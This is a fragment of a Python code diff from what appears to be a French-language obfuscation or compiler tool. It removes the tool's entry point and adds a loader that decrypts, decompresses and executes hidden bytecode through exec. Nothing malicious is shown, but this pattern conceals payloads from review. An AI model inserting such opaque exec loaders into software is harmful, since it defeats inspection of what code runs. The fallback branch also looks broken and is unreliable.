-            print(blue(f"\n        [>] Code compilé avec succès @ {name[:-3] + '.exe'}"), end="")
-
-    print(blue("\n        [>] Appuyez sur n'importe quelle touche pour quitter... "), end="")
-    pause(); clear(); leave()
-
-# Point d'entrée principal
-if __name__ == "__main__":
-    # Vérifier si des arguments CLI sont fournis
-    if len(sys.argv) > 1:
-        # Mode CLI
-        args = parse_cli_args()
-        if args.file:
-            try:
-                process_file_cli(args)
-            except Exception as e:
-                print(red(f"        [!] Erreur lors du traitement : {e}"))
-                sys.exit(1)
-        else:
-            print(red("        [!] Aucun fichier spécifié"))
-            sys.exit(1)
-    else:
-        # Mode interactif (comportement par défaut)
-        main_interactive()
+    decrypted = unpad(cipher.decrypt(payload))
+    bytecode = zlib.decompress(decrypted)
+    pymloader.exec_bytecode(bytecode)
+except ImportError:
+    bytecode = zlib.decompress(decrypted)
+    code = marshal.loads(bytecode)
+    exec(code)
+# --- Fin du loader natif ---